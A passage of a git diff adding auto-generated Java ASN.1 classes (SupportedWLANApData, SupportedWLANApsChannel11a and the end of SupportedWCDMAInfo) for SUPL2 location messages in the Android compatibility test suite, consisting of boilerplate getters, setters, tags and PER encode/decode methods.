+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedWCDMAInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
new file mode 100755
index 0000000..0366c05
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
@@ -0,0 +1,500 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedWLANApData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedWLANApData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedWLANApData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedWLANApData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedWLANApData != null) {
+ return ImmutableList.of(TAG_SupportedWLANApData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedWLANApData from encoded stream.
+ */
+ public static SupportedWLANApData fromPerUnaligned(byte[] encodedBytes) {
+ SupportedWLANApData result = new SupportedWLANApData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedWLANApData from encoded stream.
+ */
+ public static SupportedWLANApData fromPerAligned(byte[] encodedBytes) {
+ SupportedWLANApData result = new SupportedWLANApData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedWLANApData.apMACAddressType apMACAddress_;
+ public SupportedWLANApData.apMACAddressType getApMACAddress() {
+ return apMACAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApData.apMACAddressType
+ */
+ public void setApMACAddress(Asn1Object value) {
+ this.apMACAddress_ = (SupportedWLANApData.apMACAddressType) value;
+ }
+ public SupportedWLANApData.apMACAddressType setApMACAddressToNewInstance() {
+ apMACAddress_ = new SupportedWLANApData.apMACAddressType();
+ return apMACAddress_;
+ }
+
+ private SupportedWLANApData.apDevTypeType apDevType_;
+ public SupportedWLANApData.apDevTypeType getApDevType() {
+ return apDevType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApData.apDevTypeType
+ */
+ public void setApDevType(Asn1Object value) {
+ this.apDevType_ = (SupportedWLANApData.apDevTypeType) value;
+ }
+ public SupportedWLANApData.apDevTypeType setApDevTypeToNewInstance() {
+ apDevType_ = new SupportedWLANApData.apDevTypeType();
+ return apDevType_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getApMACAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApMACAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setApMACAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApData.apMACAddressType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apMACAddress : "
+ + getApMACAddress().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getApDevType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApDevType();
+ }
+
+ @Override public void setToNewInstance() {
+ setApDevTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApData.apDevTypeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apDevType : "
+ + getApDevType().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apMACAddressType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_apMACAddressType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apMACAddressType() {
+ super();
+ setMinSize(48);
+setMaxSize(48);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apMACAddressType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apMACAddressType != null) {
+ return ImmutableList.of(TAG_apMACAddressType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apMACAddressType from encoded stream.
+ */
+ public static apMACAddressType fromPerUnaligned(byte[] encodedBytes) {
+ apMACAddressType result = new apMACAddressType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apMACAddressType from encoded stream.
+ */
+ public static apMACAddressType fromPerAligned(byte[] encodedBytes) {
+ apMACAddressType result = new apMACAddressType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apMACAddressType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apDevTypeType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ wlan802_11a(0),
+ wlan802_11b(1),
+ wlan802_11g(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_apDevTypeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apDevTypeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apDevTypeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apDevTypeType != null) {
+ return ImmutableList.of(TAG_apDevTypeType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new apDevTypeType from encoded stream.
+ */
+ public static apDevTypeType fromPerUnaligned(byte[] encodedBytes) {
+ apDevTypeType result = new apDevTypeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apDevTypeType from encoded stream.
+ */
+ public static apDevTypeType fromPerAligned(byte[] encodedBytes) {
+ apDevTypeType result = new apDevTypeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apDevTypeType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedWLANApData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
new file mode 100755
index 0000000..0e945dc
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
@@ -0,0 +1,2389 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedWLANApsChannel11a extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedWLANApsChannel11a
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedWLANApsChannel11a() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedWLANApsChannel11a;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedWLANApsChannel11a != null) {
+ return ImmutableList.of(TAG_SupportedWLANApsChannel11a);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedWLANApsChannel11a from encoded stream.
+ */
+ public static SupportedWLANApsChannel11a fromPerUnaligned(byte[] encodedBytes) {
+ SupportedWLANApsChannel11a result = new SupportedWLANApsChannel11a();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedWLANApsChannel11a from encoded stream.
+ */
+ public static SupportedWLANApsChannel11a fromPerAligned(byte[] encodedBytes) {
+ SupportedWLANApsChannel11a result = new SupportedWLANApsChannel11a();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedWLANApsChannel11a.ch34Type ch34_;
+ public SupportedWLANApsChannel11a.ch34Type getCh34() {
+ return ch34_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch34Type
+ */
+ public void setCh34(Asn1Object value) {
+ this.ch34_ = (SupportedWLANApsChannel11a.ch34Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch34Type setCh34ToNewInstance() {
+ ch34_ = new SupportedWLANApsChannel11a.ch34Type();
+ return ch34_;
+ }
+
+ private SupportedWLANApsChannel11a.ch36Type ch36_;
+ public SupportedWLANApsChannel11a.ch36Type getCh36() {
+ return ch36_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch36Type
+ */
+ public void setCh36(Asn1Object value) {
+ this.ch36_ = (SupportedWLANApsChannel11a.ch36Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch36Type setCh36ToNewInstance() {
+ ch36_ = new SupportedWLANApsChannel11a.ch36Type();
+ return ch36_;
+ }
+
+ private SupportedWLANApsChannel11a.ch38Type ch38_;
+ public SupportedWLANApsChannel11a.ch38Type getCh38() {
+ return ch38_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch38Type
+ */
+ public void setCh38(Asn1Object value) {
+ this.ch38_ = (SupportedWLANApsChannel11a.ch38Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch38Type setCh38ToNewInstance() {
+ ch38_ = new SupportedWLANApsChannel11a.ch38Type();
+ return ch38_;
+ }
+
+ private SupportedWLANApsChannel11a.ch40Type ch40_;
+ public SupportedWLANApsChannel11a.ch40Type getCh40() {
+ return ch40_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch40Type
+ */
+ public void setCh40(Asn1Object value) {
+ this.ch40_ = (SupportedWLANApsChannel11a.ch40Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch40Type setCh40ToNewInstance() {
+ ch40_ = new SupportedWLANApsChannel11a.ch40Type();
+ return ch40_;
+ }
+
+ private SupportedWLANApsChannel11a.ch42Type ch42_;
+ public SupportedWLANApsChannel11a.ch42Type getCh42() {
+ return ch42_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch42Type
+ */
+ public void setCh42(Asn1Object value) {
+ this.ch42_ = (SupportedWLANApsChannel11a.ch42Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch42Type setCh42ToNewInstance() {
+ ch42_ = new SupportedWLANApsChannel11a.ch42Type();
+ return ch42_;
+ }
+
+ private SupportedWLANApsChannel11a.ch44Type ch44_;
+ public SupportedWLANApsChannel11a.ch44Type getCh44() {
+ return ch44_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch44Type
+ */
+ public void setCh44(Asn1Object value) {
+ this.ch44_ = (SupportedWLANApsChannel11a.ch44Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch44Type setCh44ToNewInstance() {
+ ch44_ = new SupportedWLANApsChannel11a.ch44Type();
+ return ch44_;
+ }
+
+ private SupportedWLANApsChannel11a.ch46Type ch46_;
+ public SupportedWLANApsChannel11a.ch46Type getCh46() {
+ return ch46_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch46Type
+ */
+ public void setCh46(Asn1Object value) {
+ this.ch46_ = (SupportedWLANApsChannel11a.ch46Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch46Type setCh46ToNewInstance() {
+ ch46_ = new SupportedWLANApsChannel11a.ch46Type();
+ return ch46_;
+ }
+
+ private SupportedWLANApsChannel11a.ch48Type ch48_;
+ public SupportedWLANApsChannel11a.ch48Type getCh48() {
+ return ch48_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch48Type
+ */
+ public void setCh48(Asn1Object value) {
+ this.ch48_ = (SupportedWLANApsChannel11a.ch48Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch48Type setCh48ToNewInstance() {
+ ch48_ = new SupportedWLANApsChannel11a.ch48Type();
+ return ch48_;
+ }
+
+ private SupportedWLANApsChannel11a.ch52Type ch52_;
+ public SupportedWLANApsChannel11a.ch52Type getCh52() {
+ return ch52_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch52Type
+ */
+ public void setCh52(Asn1Object value) {
+ this.ch52_ = (SupportedWLANApsChannel11a.ch52Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch52Type setCh52ToNewInstance() {
+ ch52_ = new SupportedWLANApsChannel11a.ch52Type();
+ return ch52_;
+ }
+
+ private SupportedWLANApsChannel11a.ch56Type ch56_;
+ public SupportedWLANApsChannel11a.ch56Type getCh56() {
+ return ch56_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch56Type
+ */
+ public void setCh56(Asn1Object value) {
+ this.ch56_ = (SupportedWLANApsChannel11a.ch56Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch56Type setCh56ToNewInstance() {
+ ch56_ = new SupportedWLANApsChannel11a.ch56Type();
+ return ch56_;
+ }
+
+ private SupportedWLANApsChannel11a.ch60Type ch60_;
+ public SupportedWLANApsChannel11a.ch60Type getCh60() {
+ return ch60_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch60Type
+ */
+ public void setCh60(Asn1Object value) {
+ this.ch60_ = (SupportedWLANApsChannel11a.ch60Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch60Type setCh60ToNewInstance() {
+ ch60_ = new SupportedWLANApsChannel11a.ch60Type();
+ return ch60_;
+ }
+
+ private SupportedWLANApsChannel11a.ch64Type ch64_;
+ public SupportedWLANApsChannel11a.ch64Type getCh64() {
+ return ch64_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch64Type
+ */
+ public void setCh64(Asn1Object value) {
+ this.ch64_ = (SupportedWLANApsChannel11a.ch64Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch64Type setCh64ToNewInstance() {
+ ch64_ = new SupportedWLANApsChannel11a.ch64Type();
+ return ch64_;
+ }
+
+ private SupportedWLANApsChannel11a.ch149Type ch149_;
+ public SupportedWLANApsChannel11a.ch149Type getCh149() {
+ return ch149_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch149Type
+ */
+ public void setCh149(Asn1Object value) {
+ this.ch149_ = (SupportedWLANApsChannel11a.ch149Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch149Type setCh149ToNewInstance() {
+ ch149_ = new SupportedWLANApsChannel11a.ch149Type();
+ return ch149_;
+ }
+
+ private SupportedWLANApsChannel11a.ch153Type ch153_;
+ public SupportedWLANApsChannel11a.ch153Type getCh153() {
+ return ch153_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch153Type
+ */
+ public void setCh153(Asn1Object value) {
+ this.ch153_ = (SupportedWLANApsChannel11a.ch153Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch153Type setCh153ToNewInstance() {
+ ch153_ = new SupportedWLANApsChannel11a.ch153Type();
+ return ch153_;
+ }
+
+ private SupportedWLANApsChannel11a.ch157Type ch157_;
+ public SupportedWLANApsChannel11a.ch157Type getCh157() {
+ return ch157_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch157Type
+ */
+ public void setCh157(Asn1Object value) {
+ this.ch157_ = (SupportedWLANApsChannel11a.ch157Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch157Type setCh157ToNewInstance() {
+ ch157_ = new SupportedWLANApsChannel11a.ch157Type();
+ return ch157_;
+ }
+
+ private SupportedWLANApsChannel11a.ch161Type ch161_;
+ public SupportedWLANApsChannel11a.ch161Type getCh161() {
+ return ch161_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a.ch161Type
+ */
+ public void setCh161(Asn1Object value) {
+ this.ch161_ = (SupportedWLANApsChannel11a.ch161Type) value;
+ }
+ public SupportedWLANApsChannel11a.ch161Type setCh161ToNewInstance() {
+ ch161_ = new SupportedWLANApsChannel11a.ch161Type();
+ return ch161_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh34() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh34();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh34ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch34Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch34 : "
+ + getCh34().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh36() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh36();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh36ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch36Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch36 : "
+ + getCh36().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh38() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh38();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh38ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch38Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch38 : "
+ + getCh38().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh40() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh40();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh40ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch40Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch40 : "
+ + getCh40().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh42() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh42();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh42ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch42Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch42 : "
+ + getCh42().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh44() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh44();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh44ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch44Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch44 : "
+ + getCh44().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh46() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
